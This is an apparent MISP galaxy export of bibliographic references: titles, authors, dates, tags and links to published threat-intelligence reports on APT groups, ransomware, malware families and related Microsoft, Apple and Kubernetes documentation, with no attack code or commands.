Talos Seduploader Oct 2017

Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.

The tag is: *misp-galaxy:references="Talos Seduploader Oct 2017"*

Table 20160. Table References

Links
https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html

Google Cybercrime Report February 11 2025

Google Threat Intelligence Group. (2025, February 11). Cybercrime: A Multifaceted National Security Threat. Retrieved February 11, 2025.

The tag is: *misp-galaxy:references="Google Cybercrime Report February 11 2025"*

Table 20161. Table References

Links

https://cloud.google.com/blog/topics/threat-intelligence/cybercrime-multifaceted-national-security-threat

Resecurity Remote Access Compromise March 13 2024

Resecurity. (2024, March 13). Cybercriminals Evolve Tooling for Remote Access Compromise. Retrieved April 9, 2025.

The tag is: *misp-galaxy:references="Resecurity Remote Access Compromise March 13 2024"*

Table 20162. Table References

Links
https://www.resecurity.com/blog/article/cybercriminals-evolve-tooling-for-remote-access-compromise

FBI-search

FBI. (2022, December 21). Cyber Criminals Impersonating Brands Using Search Engine Advertisement Services to Defraud Users. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="FBI-search"*

Table 20163. Table References

Links
https://www.ic3.gov/Media/Y2022/PSA221221

Resecurity GXC Team January 3 2024

Resecurity. (2024, January 3). Cybercriminals Implemented Artificial Intelligence (AI) for Invoice Fraud. Retrieved September 9, 2024.

The tag is: *misp-galaxy:references="Resecurity GXC Team January 3 2024"*

Table 20164. Table References

Links
https://www.resecurity.com/blog/article/cybercriminals-implemented-artificial-intelligence-ai-for-invoice-fraud

Secureworks GOLD KINGSWOOD September 2018

CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="Secureworks GOLD KINGSWOOD September 2018"*

Table 20165. Table References

Links
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish

Cybereason OSX Pirrit

Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.

The tag is: *misp-galaxy:references="Cybereason OSX Pirrit"*

Table 20166. Table References

Links
https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf

Cybereason Quantum Ransomware May 9 2022

Cybereason Nocturnus. (2022, May 9). Cybereason vs. Quantum Locker Ransomware. Retrieved June 28, 2024.

The tag is: *misp-galaxy:references="Cybereason Quantum Ransomware May 9 2022"*

Table 20167. Table References

Links
https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware

Zdnet Kimsuky Dec 2018

Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.

The tag is: *misp-galaxy:references="Zdnet Kimsuky Dec 2018"*

Table 20168. Table References

Links
https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/

FireEye APT32 May 2017

Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.

The tag is: *misp-galaxy:references="FireEye APT32 May 2017"*

Table 20169. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

Shadowserver Strategic Web Compromise

Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises – Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.

The tag is: *misp-galaxy:references="Shadowserver Strategic Web Compromise"*

Table 20170. Table References

Links
http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/

CyberKnow Tweet July 7 2022

Cyberknow20. (2022, July 7). CyberKnow Tweet July 7 2022. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="CyberKnow Tweet July 7 2022"*

Table 20171. Table References

Links
https://twitter.com/Cyberknow20/status/1545059177587871749

Cyber Safety Review Board: Lapsus

CISA. (2023, August). Cyber Safety Review Board: Lapsus. Retrieved January 5, 2024.

The tag is: *misp-galaxy:references="Cyber Safety Review Board: Lapsus"*

Table 20172. Table References

Links
https://www.cisa.gov/sites/default/files/2023-08/CSRB_Lapsus%24_508c.pdf

CISA Scattered Spider Advisory November 2023

CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.

The tag is: *misp-galaxy:references="CISA Scattered Spider Advisory November 2023"*

Table 20173. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a

NSA NCSC Turla OilRig

NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.

The tag is: *misp-galaxy:references="NSA NCSC Turla OilRig"*

Table 20174. Table References

Links
https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf

OPM Leak

Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.

The tag is: *misp-galaxy:references="OPM Leak"*

Table 20175. Table References

Links
https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/

ExpressVPN PATH env Windows 2021

ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.

The tag is: *misp-galaxy:references="ExpressVPN PATH env Windows 2021"*

Table 20176. Table References

Links
https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/

SCILabs Malteiro 2021

SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.

The tag is: *misp-galaxy:references="SCILabs Malteiro 2021"*

Table 20177. Table References

Links
https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/

Cyber Threat Profile MALTEIRO – Sciblog

blog.scilabs.mx. (2021, December 23). Cyber Threat Profile MALTEIRO – Sciblog. Retrieved May 17, 2023.

The tag is: *misp-galaxy:references="Cyber Threat Profile MALTEIRO – Sciblog"*

Table 20178. Table References

Links
https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/

DoublePulsar Cyber Toufan

Kevin Beaumont. (2023, December 28). Cyber Toufan goes Oprah mode with free Linux system wipes of over 100 organisations. Retrieved August 8, 2024.

The tag is: *misp-galaxy:references="DoublePulsar Cyber Toufan"*

Table 20179. Table References

Links
https://doublepulsar.com/cyber-toufan-goes-oprah-mode-with-free-linux-system-wipes-of-over-100-organisations-eaf249b042dc

SentinelOne November 25 2024

Jim Walter. (2024, November 25). CyberVolk . Retrieved April 9, 2025.

The tag is: *misp-galaxy:references="SentinelOne November 25 2024"*

Table 20180. Table References

Links
https://www.sentinelone.com/labs/cybervolk-a-deep-dive-into-the-hacktivists-tools-and-ransomware-fueling-pro-russian-cyber-attacks/

Nozomi BUSTLEBERM 2024

Nozomi Networks Labs. (2024, July 24). Cyberwarfare Targeting OT: Protecting Against FrostyGoop/BUSTLEBERM Malware. Retrieved November 20, 2024.

The tag is: *misp-galaxy:references="Nozomi BUSTLEBERM 2024"*

Table 20181. Table References

Links
https://www.nozominetworks.com/blog/protecting-against-frostygoop-bustleberm-malware

NCSC Cyclops Blink February 2022

NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022.

The tag is: *misp-galaxy:references="NCSC Cyclops Blink February 2022"*

Table 20182. Table References

Links
https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf

Trend Micro Cyclops Blink March 2022

Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022.

The tag is: *misp-galaxy:references="Trend Micro Cyclops Blink March 2022"*

Table 20183. Table References

Links
https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html

CYJAX Initial Access Broker Report June 2024

CYJAX. (2024, June 1). CYJAX Initial Access Broker Report. Retrieved April 9, 2025.

The tag is: *misp-galaxy:references="CYJAX Initial Access Broker Report June 2024"*

Table 20184. Table References

Links
https://www.globalsecuritymag.fr/research-99-5-of-consumers-demand-protection-in-mobile-apps.html

Cynet Ragnar Apr 2020

Gold, B. (2020, April 27). Cynet Detection Report: Ragnar Locker Ransomware. Retrieved June 29, 2020.

The tag is: *misp-galaxy:references="Cynet Ragnar Apr 2020"*

Table 20185. Table References

Links

https://www.cynet.com/blog/cynet-detection-report-ragnar-locker-ransomware/

Microsoft DACL May 2018

Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.

The tag is: *misp-galaxy:references="Microsoft DACL May 2018"*

Table 20186. Table References

Links
https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces

Apple Developer Doco Archive Launchd

Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.

The tag is: *misp-galaxy:references="Apple Developer Doco Archive Launchd"*

Table 20187. Table References

Links
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html

Kubernetes DaemonSet

Kubernetes. (n.d.). DaemonSet. Retrieved February 15, 2024.

The tag is: *misp-galaxy:references="Kubernetes DaemonSet"*

Table 20188. Table References

Links
https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/

Symantec Daggerfly 2023

Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.

The tag is: *misp-galaxy:references="Symantec Daggerfly 2023"*

Table 20189. Table References

Links

https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot

Symantec Daggerfly 2024

Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.

The tag is: *misp-galaxy:references="Symantec Daggerfly 2024"*

Table 20190. Table References

Links
https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset

Picus Daixin Team October 24 2022

Huseyin Can Yuceel. (2022, October 24). Daixin Team Targets Healthcare Organizations with Ransomware Attacks. Retrieved December 1, 2023.

The tag is: *misp-galaxy:references="Picus Daixin Team October 24 2022"*

Table 20191. Table References

Links
https://www.picussecurity.com/resource/blog/daixin-team-targets-healthcare-organizations-with-ransomware-attacks

Proofpoint January 26 2021

Dennis Schwarz; Axel F; Brandon Murphy. (2021, January 26). DanaBot Malware New Year, New Version . Retrieved February 7, 2025.

The tag is: *misp-galaxy:references="Proofpoint January 26 2021"*

Table 20192. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/new-year-new-version-danabot

Medium Eli Salem GuLoader April 2021

Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021.

The tag is: *misp-galaxy:references="Medium Eli Salem GuLoader April 2021"*

Table 20193. Table References

Links
https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4

Lookout Dark Caracal Jan 2018

Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="Lookout Dark Caracal Jan 2018"*

Table 20194. Table References

Links
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

Dark Clouds_Usenix_Mulazzani_08_2011

Martin Mulazzani, Sebastian Schrittwieser, Manuel Leithner, Markus Huber, and Edgar Weippl. (2011, August). Dark Clouds on the Horizon: Using Cloud Storage as Attack Vector and Online Slack Space. Retrieved July 14, 2022.

The tag is: *misp-galaxy:references="Dark Clouds_Usenix_Mulazzani_08_2011"*

Table 20195. Table References

Links
https://www.usenix.org/conference/usenix-security-11/dark-clouds-horizon-using-cloud-storage-attack-vector-and-online-slack

TrendMicro DarkComet Sept 2014

TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.

The tag is: *misp-galaxy:references="TrendMicro DarkComet Sept 2014"*

Table 20196. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET

Splunk October 18 2022

Splunk Threat Research Team. (2022, October 18). Dark Crystal RAT Agent Deep Dive . Retrieved February 12, 2025.

The tag is: *misp-galaxy:references="Splunk October 18 2022"*

Table 20197. Table References

Links
https://www.splunk.com/en_us/blog/security/dark-crystal-rat-agent-deep-dive.html

DarkGate Loader delivered via Teams - Truesec

Jakob Nordenlund. (2023, September 6). DarkGate Loader delivered via Teams - Truesec. Retrieved October 20, 2023.

The tag is: *misp-galaxy:references="DarkGate Loader delivered via Teams - Truesec"*

Table 20198. Table References

Links
https://www.truesec.com/hub/blog/darkgate-loader-delivered-via-teams

gbhackers Darkgate Malware 2024

Divya. (2024, April 30). Darkgate Malware Leveraging Autohotkey Following Teams. Retrieved November 22, 2024.

The tag is: *misp-galaxy:references="gbhackers Darkgate Malware 2024"*

Table 20199. Table References

Links
https://gbhackers.com/darkgate-malware-leveraging/

Bleeping Computer DarkGate October 14 2023

Sergiu Gatlan. (2023, October 14). DarkGate malware spreads through compromised Skype accounts. Retrieved October 20, 2023.

The tag is: *misp-galaxy:references="Bleeping Computer DarkGate October 14 2023"*

Table 20200. Table References

Links
https://www.bleepingcomputer.com/news/security/darkgate-malware-spreads-through-compromised-skype-accounts/

Trend Micro DarkGate October 12 2023

Trent Bessell, Ryan Maglaque, Aira Marcelo, Jack Walsh, David Walsh. (2023, October 12). DarkGate Opens Organizations for Attack via Skype, Teams. Retrieved October 20, 2023.

The tag is: *misp-galaxy:references="Trend Micro DarkGate October 12 2023"*

Table 20201. Table References

Links
https://www.trendmicro.com/en_us/research/23/j/darkgate-opens-organizations-for-attack-via-skype-teams.html

DarkGate - Threat Breakdown Journey

0xToxin. (n.d.). DarkGate - Threat Breakdown Journey. Retrieved October 20, 2023.

The tag is: *misp-galaxy:references="DarkGate - Threat Breakdown Journey"*

Table 20202. Table References

Links
https://0xtoxin.github.io/threat%20breakdown/DarkGate-Camapign-Analysis/

Kaspersky Tomiris Sep 2021

Kwiatkoswki, I. and Delcher, P. (2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021.

The tag is: *misp-galaxy:references="Kaspersky Tomiris Sep 2021"*

Table 20203. Table References

Links
https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/

Volexity SolarWinds

Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.

The tag is: *misp-galaxy:references="Volexity SolarWinds"*

Table 20204. Table References

Links
https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/

Securelist Darkhotel Aug 2015

Kaspersky Lab’s Global Research & Analysis Team. (2015, August 10). Darkhotel’s attacks in 2015. Retrieved November 2, 2018.

The tag is: *misp-galaxy:references="Securelist Darkhotel Aug 2015"*

Table 20205. Table References

Links
https://securelist.com/darkhotels-attacks-in-2015/71713/

Unit42 DarkHydrus Jan 2019

Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.

The tag is: *misp-galaxy:references="Unit42 DarkHydrus Jan 2019"*

Table 20206. Table References

Links
https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/

Unit 42 Phishery Aug 2018

Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.

The tag is: *misp-galaxy:references="Unit 42 Phishery Aug 2018"*

Table 20207. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/

Darkside Ransomware Cybereason

Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021.

The tag is: *misp-galaxy:references="Darkside Ransomware Cybereason"*

Table 20208. Table References

Links
https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware

DarkSide Ransomware Gang

Ramarcus Baylor. (2021, May 12). DarkSide Ransomware Gang: An Overview. Retrieved August 30,

2022.

The tag is: *misp-galaxy:references="DarkSide Ransomware Gang"*

Table 20209. Table References

Links
https://unit42.paloaltonetworks.com/darkside-ransomware/

Secureworks DarkTortilla Aug 2022

Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.

The tag is: *misp-galaxy:references="Secureworks DarkTortilla Aug 2022"*

Table 20210. Table References

Links
https://www.secureworks.com/research/darktortilla-malware-analysis

Securelist DarkVishnya Dec 2018

Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020.

The tag is: *misp-galaxy:references="Securelist DarkVishnya Dec 2018"*

Table 20211. Table References

Links
https://securelist.com/darkvishnya/89169/

Prevailion DarkWatchman 2021

Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.

The tag is: *misp-galaxy:references="Prevailion DarkWatchman 2021"*

Table 20212. Table References

Links
https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/

Dark Web Informer LinkedIn Cat Scientist January 2025

Dark Web Informer. (2025, January 9). Dark Web Informer LinkedIn Cat Scientist. Retrieved April 9, 2025.

The tag is: *misp-galaxy:references="Dark Web Informer LinkedIn Cat Scientist January 2025"*

Table 20213. Table References

Links
https://www.linkedin.com/posts/darkwebinformer_a-threat-actor-is-allegedly-selling-activity-7278801801926127616-1szZ

SOCRadar APT42 December 12 2022

SOCRadar Research. (2022, December 12). Dark Web Profile: APT42 – Iranian Cyber Espionage Group. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="SOCRadar APT42 December 12 2022"*

Table 20214. Table References

Links
https://socradar.io/dark-web-profile-apt42-iranian-cyber-espionage-group/

SOCRadar Cyber Toufan Profile

SOCRadar. (2023, December 20). Dark Web Profile: Cyber Toufan Al-aqsa. Retrieved August 8, 2024.

The tag is: *misp-galaxy:references="SOCRadar Cyber Toufan Profile"*

Table 20215. Table References

Links
https://socradar.io/dark-web-profile-cyber-toufan-al-aqsa/

SocRadar Hunt3r Kill3rs May 24 2024

SocRadar. (2024, May 24). Dark Web Profile: Hunt3r Kill3rs. Retrieved January 17, 2025.

The tag is: *misp-galaxy:references="SocRadar Hunt3r Kill3rs May 24 2024"*

Table 20216. Table References

Links
https://socradar.io/dark-web-profile-hunt3r-kill3rs/

SOCRadar INC Ransom January 2024

SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.

The tag is: *misp-galaxy:references="SOCRadar INC Ransom January 2024"*

Table 20217. Table References

Links
https://socradar.io/dark-web-profile-inc-ransom/

SocRadar KillSec November 7 2024

SocRadar. (2024, November 7). Dark Web Profile: KillSec. Retrieved November 24, 2024.

The tag is: *misp-galaxy:references="SocRadar KillSec November 7 2024"*

Table 20218. Table References

Links
https://socradar.io/dark-web-profile-killsec/

Moran 2014

Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin's Favorite APT Group [Blog]. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Moran 2014"*

Table 20219. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

AWS Data Perimeters

AWS. (n.d.). Data perimeters on AWS. Retrieved October 16, 2024.

The tag is: *misp-galaxy:references="AWS Data Perimeters"*

Table 20220. Table References

Links
https://aws.amazon.com/identity/data-perimeters-on-aws/

DataSvcUtil.exe - LOLBAS Project

LOLBAS. (2020, December 1). DataSvcUtil.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="DataSvcUtil.exe - LOLBAS Project"*

Table 20221. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/

Operation Emmental

botconf eu. (2014, December 31). David Sancho - Finding Holes in Banking 2FA: Operation Emmental. Retrieved January 4, 2024.

The tag is: *misp-galaxy:references="Operation Emmental"*

Table 20222. Table References

Links
https://www.youtube.com/watch?v=gchKFumYHWc

Hijacking VNC

Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.

The tag is: *misp-galaxy:references="Hijacking VNC"*

Table 20223. Table References

Links
https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc

DBatLoader Actively Distributing Malwares Targeting European Businesses

Zscaler. (2023, March 27). DBatLoader Actively Distributing Malwares Targeting European Businesses. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="DBatLoader Actively Distributing Malwares Targeting European Businesses"*

Table 20224. Table References

Links
https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses

Microsoft COM ACL

Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.

The tag is: *misp-galaxy:references="Microsoft COM ACL"*

Table 20225. Table References

Links
https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1

DCShadow Blog

Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.

The tag is: *misp-galaxy:references="DCShadow Blog"*

Table 20226. Table References

Links
https://www.dcshadow.com/

GitHub DCSYNCMonitor

Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.

The tag is: *misp-galaxy:references="GitHub DCSYNCMonitor"*

Table 20227. Table References

Links
https://github.com/shellster/DCSYNCMonitor

DD Man

Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="DD Man"*

Table 20228. Table References

Links
http://man7.org/linux/man-pages/man1/dd.1.html

NETSCOUT October 17 2024

Richard Hummel. (2024, October 17). DDoS Attacks Against Japan . Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="NETSCOUT October 17 2024"*

Table 20229. Table References

Links
https://www.netscout.com/blog/asert/ddos-attacks-against-japan

Arbor SSLDoS April 2012

ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.

The tag is: *misp-galaxy:references="Arbor SSLDoS April 2012"*

Table 20230. Table References

Links
https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new

Avast Threat Labs January 11 2023

Martin Chlumecký. (2023, January 11). DDosia Project Volunteers Carrying out NoName(057)16's Dirty Work - Avast Threat Labs. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Avast Threat Labs January 11 2023"*

Table 20231. Table References

Links
https://decoded.avast.io/martinchlumecky/ddosia-project/

CERT-EU DDoS March 2017

Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.

The tag is: *misp-galaxy:references="CERT-EU DDoS March 2017"*

Table 20232. Table References

Links
http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf

Unit42 Sofacy Dec 2018

Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group's Global Campaign. Retrieved April 19, 2019.

The tag is: *misp-galaxy:references="Unit42 Sofacy Dec 2018"*

Table 20233. Table References

Links
https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/

Death by 1000 installers; it's all broken!

Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.

The tag is: *misp-galaxy:references="Death by 1000 installers; it's all broken!"*

Table 20234. Table References

Links
https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8

SpecterOps Lateral Movement from Azure to On-Prem AD 2020

Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.

The tag is: *misp-galaxy:references="SpecterOps Lateral Movement from Azure to On-Prem AD 2020"*

Table 20235. Table References

Links
https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d

Microsoft PowerShell SilentlyContinue

Microsoft. (2023, March 2). $DebugPreference. Retrieved August 30, 2023.

The tag is: *misp-galaxy:references="Microsoft PowerShell SilentlyContinue"*

Table 20236. Table References

Links
https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_preference_variables?view=powershell-7.3#debugpreference

virtualization.info 2006

virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth [Interview transcript]. Retrieved November 13, 2014.

The tag is: *misp-galaxy:references="virtualization.info 2006"*

Table 20237. Table References

Links
http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html

Fortinet LummaStealer 2024

Cara Lin, Fortinet. (2024, January 8). Deceptive Cracked Software Spreads Lumma Variant on YouTube. Retrieved March 22, 2025.

The tag is: *misp-galaxy:references="Fortinet LummaStealer 2024"*

Table 20238. Table References

Links
https://www.fortinet.com/blog/threat-research/lumma-variant-on-youtube

ESET DeceptiveDevelopment February 20 2025

Matěj Havránek. (2025, February 20). DeceptiveDevelopment targets freelance developers. Retrieved May 30, 2025.

The tag is: *misp-galaxy:references="ESET DeceptiveDevelopment February 20 2025"*

Table 20239. Table References

Links
https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/

TrendMicro Confucius APT Feb 2018

Lunghi, D and Horejsi, J. (2018, February 13). Deciphering Confucius: A Look at the Group's Cyberespionage Operations. Retrieved December 26, 2021.

The tag is: *misp-galaxy:references="TrendMicro Confucius APT Feb 2018"*

Table 20240. Table References

Links

https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html

Elastic Security Labs Pumakit 2024

Remco Sprooten and Ruben Groenewoud. (2024, December 11). Declawing PUMAKIT. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Elastic Security Labs Pumakit 2024"*

Table 20241. Table References

Links
https://www.elastic.co/security-labs/declawing-pumakit

Ciberseguridad Decoding malicious RTF files

Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021.

The tag is: *misp-galaxy:references="Ciberseguridad Decoding malicious RTF files"*

Table 20242. Table References

Links
https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/

Nccgroup Gh0st April 2018

Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.

The tag is: *misp-galaxy:references="Nccgroup Gh0st April 2018"*

Table 20243. Table References

Links
https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/

Morphisec September 3 2024

Michael Gorelik. (2024, September 3). Decoding the Puzzle Cicada3301 Ransomware Threat Analysis. Retrieved September 5, 2024.

The tag is: *misp-galaxy:references="Morphisec September 3 2024"*

Table 20244. Table References

Links

https://blog.morphisec.com/cicada3301-ransomware-threat-analysis

MalwareBytes Template Injection OCT 2017

Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.

The tag is: *misp-galaxy:references="MalwareBytes Template Injection OCT 2017"*

Table 20245. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/

Crowdstrike PartyTicket March 2022

Crowdstrike. (2022, March 1). Decryptable PartyTicket Ransomware Reportedly Targeting Ukrainian Entities. Retrieved March 1, 2022.

The tag is: *misp-galaxy:references="Crowdstrike PartyTicket March 2022"*

Table 20246. Table References

Links
https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine

Fortinet Emotet May 2017

Xiaopeng Zhang. (2017, May 3). Deep Analysis of New Emotet Variant – Part 1. Retrieved April 1, 2019.

The tag is: *misp-galaxy:references="Fortinet Emotet May 2017"*

Table 20247. Table References

Links
https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html

Aqua TeamTNT August 2020

Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="Aqua TeamTNT August 2020"*

Table 20248. Table References

Links
https://blog.aquasec.com/container-security-tnt-container-attack

Bitdefender FIN8 July 2021

Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.

The tag is: *misp-galaxy:references="Bitdefender FIN8 July 2021"*

Table 20249. Table References

Links
https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation

Cyble Ragnar Locker January 20 2022

Cybleinc. (2022, January 20). Deep dive into Ragnar_locker Ransomware Gang. Retrieved September 29, 2023.

The tag is: *misp-galaxy:references="Cyble Ragnar Locker January 20 2022"*

Table 20250. Table References

Links
https://cyble.com/blog/deep-dive-into-ragnar-locker-ransomware-gang/

Sophos Pikabot June 12 2023

Karl Ackerman. (2023, June 12). Deep dive into the Pikabot cyber threat. Retrieved January 11, 2024.

The tag is: *misp-galaxy:references="Sophos Pikabot June 12 2023"*

Table 20251. Table References

Links
https://news.sophos.com/en-us/2023/06/12/deep-dive-into-the-pikabot-cyber-threat/

Microsoft Deep Dive Solorigate January 2021

MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.

The tag is: *misp-galaxy:references="Microsoft Deep Dive Solorigate January 2021"*

Table 20252. Table References

Links

https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

AADInternals - Device Registration

Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022.

The tag is: *misp-galaxy:references="AADInternals - Device Registration"*

Table 20253. Table References

Links
https://o365blog.com/post/devices/

